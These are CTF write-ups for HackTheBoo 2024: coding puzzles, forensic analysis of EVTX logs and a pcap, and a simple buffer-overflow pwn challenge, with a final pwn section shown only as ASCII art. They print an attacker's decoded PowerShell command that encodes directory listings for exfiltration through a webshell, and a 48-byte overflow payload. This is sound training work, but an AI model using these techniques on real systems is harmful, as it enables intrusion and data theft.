Skip to main content

HackTheBoo 2024 Writeups

Table of Contents

HackTheBoo was a CTF hosted by Hack The Box from October 22nd to October 27th 2024.

Coding challenges
#

Replacement
#

Given a string, a letter in the string and a random letter, replace all instances of the first letter with the latter.

Example
#

Input
Input String: Test me
Replace: e
Replace with: K

Output
TKst mK

Solver
#

The solution was simply to add two more variables, let the program input the values to these and replace the characters in the answer.

s = input()
replace = input()
replacing = input()

answer = s.replace(replace,replacing)

print(answer)

MiniMax
#

We’ve intercepted codes from an underground organisation with intentions of malicious activity. Intelligence has informed us that most of the numbers are garbage, but the biggest and smallest numbers in the file form co-ordinates of the group’s next attack location.

Identify these 2 numbers, then print out first the minimum and then the maximum. Please be swift, agent - the clock is ticking!

Example
#

Input
3.29 3.09 1.34 2.89

Output
1.34
3.29

Solver
#

My solution involved transforming the string into a list of floats, then applying the min and max functions to find and display the smallest and largest values

n = "908.29 4.1 1279.75 919.87 1662.23 1886.62 1073.05 1057.61 6.61 1576.97 1267.55 899.23 1.08 983.13 23.6 260.79 502.17 1183.92 85.29 421.82 191.92 1994.94 1609.85 35.27 1569.98 877.11 1465.47 793.72 1735.61 833.6 910.92 1818.61 1587.73 1209.82 1019.2 506.93 45.66 914.3 873.37 1640.8 1543.34 423.47 1614.27 1531.34 584.95 1440.56 557.84 516.72 459.25 1591.42 186.82 365.71 1900.26 1749.37 781.86 962.1 1259.67 1946.3 1234.63 469.16 1809.42 701.83 1492.29 22.57 762.78 558.84 1185.65 108.83 824.28 1136.98 673.94 246.11 1841.4 1677.15 795.77 874.01 1313.92 1273.23 706.23 374.4 1385.05 1961.17 947.08 652.92 561.27 752.64 1844.52 742.56 1832.12 505.32 1437.09 551.39 1716.29 1736.23 1999.28 44.56 147.15 1921.99 680.45 356.45 504.41 159.88 167.68 792.9 162.01 1464.28 1036.96 1217.61 254.26 1803.53 1585.35 1731.41 1551.01 881.21 1538.94 1050.15 1146.18 496.38 218.48 677.37 147.09 1129.91 79.37 1350.95 1697.99 1419.92 509.07 1219.63 1763.01 218.11 751.26 185.65 1260.44 1020.05 971.22 225.98 1416.27 125.28 1565.14 648.83 1703.48 1678.69 562.03 739.03 323.85 997.72 1922.69 912.76 729.01 391.7 1299.15 1800.52 1249.3 1591.38 1036.04 1743.19 33.59 1519.76 1634.33 1220.37 1627.38 907.15 1175.89 65.36 797.1 1286.85 1078.84 661.28 801.48 30.8 527.44 1167.73 973.44 808.46 1310.4 1633.64 6.38 1296.76 1040.33 354.98 1335.17 641.0 78.86 403.95 355.62 931.29 1608.7 1348.81 1896.82 1053.56 1883.28 1159.6 780.57 1334.41 1285.75 750.64 896.39 101.83 242.3 632.44"

n_list = n.split(' ')
n_float_list = []

for i in n_list:
    n_float_list.append(float(i))
    
answer = f"{min(n_float_list)}\n{max(n_float_list)}"


Forensics
#

Ghostly Persistence
#

On a quiet Halloween night, when the world outside was wrapped in shadows, an intrusion alert pierced through the calm. The alert, triggered by an internal monitoring system, pinpointed unusual activity on a specific workstation. Can you illuminate the darkness and uncover what happened during this intrusion?

The challenge provided a zip containing multiple EVTX files. Also, we knew that the flag is divided in 2 parts per the instructions.

First part
#

By filtering the files by size, I could see that Microsoft-Windows-Powershell_Operational.evtx is the file to look into, since all the others are empty.

List by file size

Using a parser that I previously made , I was able to filter EventId 4104 and search for strings that matched ps1.

evtx-parser.py output

I could obtain the first part of the flag by decoding the EncodedCommand in EventRecordID 22

echo "JHRlbXBQYXRoID0gIiRlbnY6d2luZGlyXHRlbXBcR2gwc3QudHh0IgoiSFRCe0doMHN0X0wwYzR0MTBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkdGVtcFBhdGggLUVuY29kaW5nIHV0Zjg=" | base64 -d
$tempPath = "$env:windir\temp\Gh0st.txt"
"HTB{Gh0st_L0c4t10n" | Out-File -FilePath $tempPath -Encoding utf8

Second part
#

I kept looking at the events using the same filter and eventualy stumbled upong EventRecordID 63 which contained the second part of the flag.

evtx-parser.py output

 echo "X1c0c19SM3YzNGwzZH0=" | base64 -d
_W4s_R3v34l3d}

The completed flag: HTB{Gh0st_L0c4t10n_W4s_R3v34l3d}


Foggy Intrusion
#

On a fog-covered Halloween night, a secure site experienced unauthorized access under the veil of darkness. With the world outside wrapped in silence, an intruder bypassed security protocols and manipulated sensitive areas, leaving behind traceable yet perplexing clues in the logs. Can you piece together the fragments of this nocturnal breach?

For this challenge, we’re provided with a capture.pcap file.

Looking into the conversations, I could see multiple streams. Eventually, after following each streams, I could identify tcp.stream 3 with HTTP requests with valid 302s from the server.

Wireshark Conversations

Filter on conversations

Looking into the stream, I could identify the PHP input provided in the requests.

Content of HTTP Stream

Decoding the command:

echo "cG93ZXJzaGVsbC5leGUgLUMgIiRvdXRwdXQgPSBHZXQtQ2hpbGRJdGVtIC1QYXRoIEM6OyAkYnl0ZXMgPSBbVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoJG91dHB1dCk7ICRjb21wcmVzc2VkU3RyZWFtID0gW1N5c3RlbS5JTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgJGNvbXByZXNzb3IgPSBbU3lzdGVtLklPLkNvbXByZXNzaW9uLkRlZmxhdGVTdHJlYW1dOjpuZXcoJGNvbXByZXNzZWRTdHJlYW0sIFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2RlXTo6Q29tcHJlc3MpOyAkY29tcHJlc3Nvci5Xcml0ZSgkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpOyAkY29tcHJlc3Nvci5DbG9zZSgpOyAkY29tcHJlc3NlZEJ5dGVzID0gJGNvbXByZXNzZWRTdHJlYW0uVG9BcnJheSgpOyBbQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkQnl0ZXMpIg==" | base64 -d
powershell.exe -C "$output = Get-ChildItem -Path C:;   
$bytes = [Text.Encoding]::UTF8.GetBytes($output);  
$compressedStream = [System.IO.MemoryStream]::new();  
$compressor = [System.IO.Compression.DeflateStream]::new($compressedStream, [System.IO.Compression.CompressionMode]::Compress);  
$compressor.Write($bytes, 0, $bytes.Length);  
$compressor.Close(); $compressedBytes = $compressedStream.ToArray();  
[Convert]::ToBase64String($compressedBytes)

When analyzing all the commands in the stream, I constated that the attacker always uses the same transformations on the $output variable, which is the result of a Get-ChildItem on different paths, except the last one which is a whoami. If I could reverse the process of the transformations, I’d decode each responses sent and would expect to see the results of the Get-ChildItem commands.

The provided solver decodes and outputs all the commands:

$base64Strings = @(
    "FchbCsAgDAXRrWQF2VN8XzAajLTS1bf9GTiTxFuYshJBK905SMeTFx1RMxKzjigbczi3rZ0C9hAFR3eKcxRUtmZU5MJH/kIYKZ//vg==",
    "bZFrcsMgDISvogvEV2JkUGNNeBWJxOnpizFx3Ez/8a3YFRIYU3yGVAUwo10I7JUvM0ewKWrhGRZ1yQpwuAJHUfQePFuKQgI+WfQEAdmnqrlqP2pyLDcIT/n2kJcMUixoyPCg2eF9NDItq+g0o76FlDtbbG04ohEq99brQzx8J+nlVC+2cN7rX+zph73fgrTmT+3IOWsj6NYwl2RJpHOgYmt5nkxvZVj6vOcLg0c5o8gjFSeTro1KylSUSSaODIXQBTKOenEQxU6vJdBK0OcwK4a8hyqJmrbiDjWOD5rcH9qM3XLpf5r+U7ZHdMXIQs2z5Q3uAx2OfaCGvw==",
    "hZJdb4IwFIb/Sv8AguKcWdILs4vtYiYsu1kihBxLlcbS1rZM+fcrH92I8SNcQM/z9HDewuaNCqqBZ4gJY4Hzgmn8+pKeoVIKbcHQ3JXJIRdQUfy9WifJuHqgDR6vf6g2TAq8nEwns6cgGjPFwe6krvCJiUKeTHBezNFmpYCUNEPQ3XNDteuRK6ktXkYXVWN4T+bz2CMtpc3d0JRYqRscdoOHPfROaQtJzMjyAcOeeK+QFTDRJZ3OnieRu6aeESl2bF9rsC7ftVa9F7ae31MLdqz76Rmh/RGizbr5+vzIUNWY4xAnjqPFsC6lsZhLArx9GooXGf0r044OzpYJ0M1NK3V8MAuwcNf[tr6SA+jNxp4X9n0Pu6osIaHNSoHRoFCRqFu34eyXuSIVWqOxEc7YxHE/2J9GypaP/Ea1+9tVJn/AI=",
    "dY9RS8MwFIX/ynUIyWDKZNkYTjdSW/DFKe3Ux0ttbligpjVtGTL2311a58bA+xIO37nnntwtynUJirSxxFkYYBLFb1HMBsDUB+vPTtHrni3lU9RBbCpyZ44XmSTvz3HoHY+rYKuHE1Q3Y1GWI+FGCoVVqHMxwY2oUA8bqy52ZxGhXMlAJu2RdBwsU6W9Ay4/v6uv3MA9WNpAJ/hf3wGc9GvFoUorDqE+yGjgv2FX86ywlrIaybnC9WELfpQh3nvoiCks6NTkpG6hB9fwz+YMdnBkFdWYrVO3fzlraj31P1jMfwA=",
    "S0ktzi7JL9AtyM3PzDFIiSktLjIwBAA="
)

function Decode {
    param (
        [string]$base64String
    )

    try {
        $compressedBytes = [Convert]::FromBase64String($base64String)
        $compressedStream = [System.IO.MemoryStream]::new($compressedBytes)

        $decompressedStream = [System.IO.MemoryStream]::new()
        $decompressor = [System.IO.Compression.DeflateStream]::new($compressedStream, [System.IO.Compression.CompressionMode]::Decompress)

        $buffer = New-Object byte[] 1024
        while (($read = $decompressor.Read($buffer, 0, $buffer.Length)) -gt 0) {
            $decompressedStream.Write($buffer, 0, $read)
        }
        
        $decompressor.Close()
        $compressedStream.Close()

        $decompressedBytes = $decompressedStream.ToArray()
        $originalOutput = [Text.Encoding]::UTF8.GetString($decompressedBytes)

        Write-Host "Output: $originalOutput"

    } catch {
        Write-Output "Failed to decode and decompress: $_"
    }
}

foreach ($base64String in $base64Strings) {
    Decode -base64String $base64String
}
powershell -ExecutionPolicy ByPass -File "c:\Users\Arenwald\HackTheBoo_2024\forensics\solver.ps1"
Output: dashboard img webalizer xampp applications.html bitnami.css config.php favicon.ico index.php
Output: anonymous apache cgi-bin contrib htdocs img install licenses locale mailoutput mailtodisk mysql php src tmp webdav apache_start.bat apache_stop.bat catalina_service.bat catalina_start.bat catalina_stop.bat ctlscript.bat filezilla_setup.bat filezilla_start.bat filezilla_stop.bat killprocess.bat mercury_start.bat mercury_stop.bat mysql_start.bat mysql_stop.bat passwords.txt properties.ini readme_de.txt readme_en.txt service.exe setup_xampp.bat test_php.bat uninstall.dat uninstall.exe xampp-control.exe xampp-control.ini xampp_shell.bat xampp_start.exe xampp_stop.exe                 
Output: [General] installdir=C:\xampp base_stack_name=XAMPP base_stack_key= base_stack_version=8.1.25-0 base_stack_platform=windows-x64 [Apache] apache_server_port=80 apache_server_ssl_port=443 apache_root_directory=/xampp/apache apache_htdocs_directory=C:\xampp/htdocs apache_domainname=127.0.0.1 apache_configuration_directory=C:\xampp/apache/conf apache_unique_service_name= [MySQL] mysql_port=3306 mysql_host=localhost mysql_root_directory=C:\xampp\mysql mysql_binary_directory=C:\xampp\mysql\bin mysql_data_directory=C:\xampp\mysql\data mysql_configuration_directory=C:\xampp/mysql/bin mysql_arguments=-u root -P 3306 mysql_unique_service_name= [PHP] php_binary_directory=C:\xampp\php php_configuration_directory=C:\xampp\php php_extensions_directory=C:\xampp\php\ext
Output: <?php define('DB_SERVER', 'db'); define('DB_USERNAME', 'db_user'); define('DB_PASSWORD', 'HTB{f06_d154pp34r3d_4nd_fl46_w4s_f0und!}'); define('DB_DATABASE', 'a5BNadf');  $mysqli = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_DATABASE);  if ($mysqli->connect_error) {     die("Connection failed: " . $mysqli->connect_error); }  $mysqli->set_charset('utf8'); ?>
Output: desktop-pmoil0d\usr01

Looking in the outputs, I could find the flag: HTB{f06_d154pp34r3d_4nd_fl46_w4s_f0und!}



Pwn
#

El Pipo
#

In this challenge, we’re provided with the binary file that runs on the server’s back end.

[*] Your task is to reverse-engineer the binary and identify the vulnerability.
[!] Do not attempt to connect via netcat; a web page is provided for interaction :)
[*] The input you submit is passed directly to the binary.
[!] If a few words don’t get the job done, consider trying a bit more…

We can examine the content of the main function in the dissassembly:

undefined8 main(void)

{
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  char local_9;
  
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_9 = '\x01';
  read(0,&local_38,0x40);
  if (local_9 == '\x01') {
    fwrite("Not scary enough.. Boo! :(",1,0x1a,stdout);
    fflush(stdout);
  }
  else {
    read_flag();
  }
  return 0;
}

read will read input from the user or any input piped to the program up to 40 bytes (0x40). I also know that we have to overwrite the local_9 variable to reach the read_flag() function.

It would be easy to simply go by trial and error to get the right amount of characters but I wanted to do a little more than simply guess.

pwndbg> disass main
Dump of assembler code for function main:
   0x00005555555552ff <+0>:     endbr64
   0x0000555555555303 <+4>:     push   rbp
   0x0000555555555304 <+5>:     mov    rbp,rsp
   0x0000555555555307 <+8>:     sub    rsp,0x30
   0x000055555555530b <+12>:    mov    QWORD PTR [rbp-0x30],0x0
   0x0000555555555313 <+20>:    mov    QWORD PTR [rbp-0x28],0x0
   0x000055555555531b <+28>:    mov    QWORD PTR [rbp-0x20],0x0
   0x0000555555555323 <+36>:    mov    QWORD PTR [rbp-0x18],0x0
   0x000055555555532b <+44>:    mov    BYTE PTR [rbp-0x1],0x1
   0x000055555555532f <+48>:    lea    rax,[rbp-0x30]
   0x0000555555555333 <+52>:    mov    edx,0x40
   0x0000555555555338 <+57>:    mov    rsi,rax
   0x000055555555533b <+60>:    mov    edi,0x0
   0x0000555555555340 <+65>:    call   0x555555555110 <read@plt>
   0x0000555555555345 <+70>:    cmp    BYTE PTR [rbp-0x1],0x1
   0x0000555555555349 <+74>:    je     0x555555555357 <main+88>
   0x000055555555534b <+76>:    mov    eax,0x0
   0x0000555555555350 <+81>:    call   0x555555555269 <read_flag>
   0x0000555555555355 <+86>:    jmp    0x555555555389 <main+138>
   0x0000555555555357 <+88>:    mov    rax,QWORD PTR [rip+0x2cb2]        # 0x555555558010 <stdout@GLIBC_2.2.5>
   0x000055555555535e <+95>:    mov    rcx,rax
   0x0000555555555361 <+98>:    mov    edx,0x1a
   0x0000555555555366 <+103>:   mov    esi,0x1
   0x000055555555536b <+108>:   lea    rax,[rip+0xce0]        # 0x555555556052
   0x0000555555555372 <+115>:   mov    rdi,rax
   0x0000555555555375 <+118>:   call   0x555555555170 <fwrite@plt>
   0x000055555555537a <+123>:   mov    rax,QWORD PTR [rip+0x2c8f]        # 0x555555558010 <stdout@GLIBC_2.2.5>
   0x0000555555555381 <+130>:   mov    rdi,rax
   0x0000555555555384 <+133>:   call   0x555555555120 <fflush@plt>
   0x0000555555555389 <+138>:   mov    eax,0x0
   0x000055555555538e <+143>:   leave
   0x000055555555538f <+144>:   ret
End of assembler dump.

Looking at the diassassembly in pwndbg, I could see that the program allocates 0x30 bytes of space on the stack for local variables. I could then assume that by overflowing 48 bytes, local_9 will be overwritten.

python3 -c 'print("A"*48)' | ./el_pipo
HTB{f4ke_fl4g_4_t35t1ng}

El Mundo
#

  ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣤⡤⠴⠖⠛⠛⠉⠉⠉⢉⣽⣷⣤⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣤⠤⠴⠒⠚⠛⠛⠛⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣾⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⡤⠶⠶⠛⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡹⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⠀⠀⣀⡴⠚⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣴⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⢻⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⢀⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣤⣤⣤⣤⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⣸⠃⠀⠀⠀⠀⠘⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⣛⣯⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠘⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⡶⠬⣝⣶⣶⠖⠁⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⡿⠛⠉⣉⣭⢿⡛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⢿⡆⠸⣿⠓⠀⠀⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⠀⠀⡞⡇⢹⠀⣷⠈⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⢸⣷⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⢻⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠿⠿⠿⢿⡆⠀⢧⢱⣸⣧⣻⣇⢻⣿⡎⣿⣿⣿⣿⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣦⣿⣿⠀⣼⢀⣀⣼⠇⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⠸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡼⠋⠀⠠⣤⣀⠀⢻⡄⡟⢿⣿⡛⠉⠙⣞⣿⣇⢸⣿⣿⠿⢿⣁⣀⣇⣻⣿⣿⣿⣿⣿⣿⣿⠿⣦⣭⡭⣭⠏⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⠀⢇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠈⢿⣦⠀⢣⢳⠀⣈⣙⣦⡀⢿⣽⣿⠾⠋⠁⣀⣴⣿⣿⠿⣿⣿⣿⣿⣿⣿⡿⣝⠶⣤⠙⢾⡅⠀⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⠀⢸⡄⠀⠀⠀⠀⠀⠀⠀⠀⠘⡇⠀⠀⠀⡄⢈⣿⡇⢸⡄⢣⢻⣿⠿⠛⣿⠁⣠⣤⣾⣟⣩⣴⣿⣿⣿⣿⣿⣿⣿⠻⣦⡻⣄⡀⣦⢈⣁⢹⡆⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⠀⠀⢷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣠⣾⣃⣾⣿⣧⠾⠗⠋⢉⣀⣤⣴⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⣿⢸⡆⢿⠿⣇⠀⠀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⠀⠀⢸⡓⠲⢦⠤⠶⠶⠶⠶⡶⠖⠒⠛⢉⣉⣉⣠⣼⡶⠶⠿⠛⠉⣡⣾⠿⣫⣴⣿⠿⢿⣏⢉⣛⣿⣿⣿⣿⣿⠟⣿⣿⣿⣿⣿⣿⡇⠸⣆⣉⣠⡀⠀⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⠀⠀⣸⡷⠤⠼⠤⣤⣤⠤⠴⠷⠶⠟⠛⠛⠛⠋⠉⠀⠀⢀⣠⣶⡿⢋⣵⣿⣿⡟⢿⣶⡤⠽⠼⣿⣿⣿⣿⣿⡏⢀⣿⣿⣿⣿⣿⣿⡳⢤⣬⣽⣯⣤⣤⠀⠀⠀⠀
  ⠀⠀⠀⠀⠀⠀⢀⡼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⣿⡿⣛⣵⣿⢿⣿⣤⣽⣿⠟⣛⣯⣽⣿⢻⣿⣿⣿⣿⣇⣼⣿⣿⣿⣿⣿⣿⣏⠛⢲⡔⠛⠉⠀⠀⠀⠀⣠
  ⠀⠀⠀⠀⠀⣠⠟⠁⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣤⣶⣾⣿⣿⣿⣿⣯⣵⣿⣿⣿⣷⣾⢿⠿⣿⡿⣽⡇⢀⣼⣽⣿⣿⣿⣿⣿⡟⠙⣿⣿⣿⣿⢿⡟⢿⣇⠀⢧⠀⠀⠀⣀⡶⠋⠉
  ⠀⠀⠀⣀⡾⠋⠀⠀⠀⠐⠒⠶⠶⠿⠿⠿⠿⠿⠿⣿⣿⣿⣿⣿⣿⣿⡿⢍⣿⣋⣵⡿⢾⣀⣈⡽⠷⠞⠉⠉⠉⣿⣿⣿⣿⣿⣇⣼⣿⣿⠏⣿⣈⢷⡈⢿⣆⡘⢦⣀⡶⠋⢀⣴⣾
  ⠀⢀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣾⠟⢛⣫⣴⣿⣿⣿⣯⣤⣾⡿⠟⠛⠳⣾⠫⠁⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⠛⠋⢓⣼⣿⣿⣿⣿⣾⣏⠉⣴⡟⠀⣴⣿⣿⣿
  ⣶⠟⠁⠀⠀⠀⠀⠀⣀⣤⣤⣶⣿⠿⠛⣋⣡⣴⣾⣿⣿⣿⣿⣿⣿⠉⠉⡽⠁⠀⠀⠀⠈⠂⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣧⢀⣴⣿⠃⢿⠟⠛⠛⠛⠻⢷⣼⣠⣾⣿⣿⣿⣿
  ⠁⠀⣀⣠⣤⣶⡶⠿⠟⢋⣉⣡⡴⠶⠛⠉⠉⢹⣿⣿⣿⣿⠿⠿⢿⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⠀⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿
  ⠾⠛⠛⢉⣉⣤⡶⠶⠟⠛⠉⠁⠀⠀⠀⠀⠀⠸⣿⣿⠋⠁⠀⠀⣼⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
  ⡴⠶⠛⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢳⡜⡆⠀⠀⠀⣏⠀⠀⣠⣤⣴⡶⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⢻⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉⣩
  ⡛⠛⠒⠒⠲⠶⠤⠤⠤⠴⠶⠒⠒⠒⠚⠛⠛⠉⣉⣧⡘⠀⠀⠀⠈⠙⠛⠿⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⡿⢸⣿⣿⣿⣿⣿⡆⠘⣿⣿⣿⣿⣿⠟⠃⠀⣠⣾⣿
  ⡇⠀⠀⣶⣶⣶⣶⣶⣦⣦⣤⣤⣤⣶⣶⠶⠶⠿⢛⣉⣷⡀⠀⠀⠀⠀⠀⣀⣀⣐⣤⣤⣤⣄⣀⣀⠀⠀⠀⠀⠀⣼⣿⣿⡟⣱⣿⣿⣿⣿⣿⣿⣧⠀⢿⣿⣿⣿⠋⠀⢀⣾⣿⣿⣿
  ⣷⠀⠀⢿⣿⣍⣄⣀⣀⣀⣀⣠⣤⣤⣤⣶⣶⣾⣿⣿⣿⣿⡄⠀⠀⠀⢸⠟⠉⠛⠋⠉⠉⠉⠉⠉⠁⠀⠀⠀⢠⣿⡿⢋⣼⡟⠁⣿⣿⣿⣿⣿⣿⡀⢸⣿⣿⡇⠀⠀⣼⣿⣿⣿⡇
  ⣿⡀⠀⢸⣿⣿⣤⣤⣤⣤⣤⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀⢡⡀⣠⣤⣤⣤⣤⣤⡴⠃⠀⠀⢀⡿⢋⣴⣿⣿⠁⠠⣿⣿⣿⠋⠉⠙⣇⢸⣿⣿⠀⠀⠀⣿⣿⣿⣿⣿
  ⣿⡇⠀⢸⡛⣩⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠻⠿⠛⠛⠻⠿⠋⠀⠀⠀⢀⣾⣶⣿⣿⣿⡇⠀⠀⣿⣿⣿⠀⠀⠀⢻⠈⣿⣿⠀⠀⠀⣿⣿⣿⣿⣿
  ⣿⡇⠀⠀⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠟⠉⣿⠁⠀⠀⣿⣿⣿⣆⠀⠀⢸⡇⣿⣿⡆⠀⠀⣿⣿⣿⣿⠿
  ⣿⣿⠀⠀⣿⠿⠿⠾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠈⢳⡀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⡿⠋⠁⠀⢠⠏⠀⠀⠀⢻⣿⣿⣿⡄⠀⢸⣧⣿⣿⣧⠀⠀⢿⣿⣿⣿⣄
  ⣿⣿⡀⠀⢻⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠈⢿⣦⣤⣤⣤⣤⣤⣶⣿⡟⠋⠀⠀⠀⠀⡞⠀⠀⠀⠀⢸⣿⣿⣿⣿⣦⣸⢹⣿⣿⠟⢧⠀⠀⢻⣿⣿⣿
  ⣿⣿⡇⠀⢸⣿⣿⡏⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⠀⠀⢸⡟⢿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⡞⠀⢀⣀⣀⣀⣀⣿⣿⣿⣿⣿⣿⣾⣿⡏⠀⠈⣷⣄⠀⠙⣿⣿
  ⣿⣿⡇⠀⢸⣿⣿⡇⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⣿⠀⠀⢸⣧⡀⠉⠛⠋⠁⠀⠀⠀⠀⠀⢀⡞⠀⠀⣿⠀⠀⠀⣀⣁⣀⣀⣈⣉⣭⣽⣿⠁⠀⢸⣿⣿⣷⣦⣿⢿
  ⣿⣿⡇⠀⢸⣿⣿⣇⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⢸⠀⠀⢸⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⢠⡞⠀⠀⠀⡏⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⢸⣿⣿⣿⣿⣿⣿
  ⠛⠉⠉⠉⠉⠉⢁⣠⣴⣿⣿⣿⣿⠛⠿⣿⣿⣿⣿⠃⠀⠀⠀⣠⡿⠀⠀⢸⡿⠈⠻⣿⡿⠁⠀⠀⢠⡼⠋⠀⠀⠀⢀⠇⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⢀⡼⠛⠁⠀⣹⣿⣿
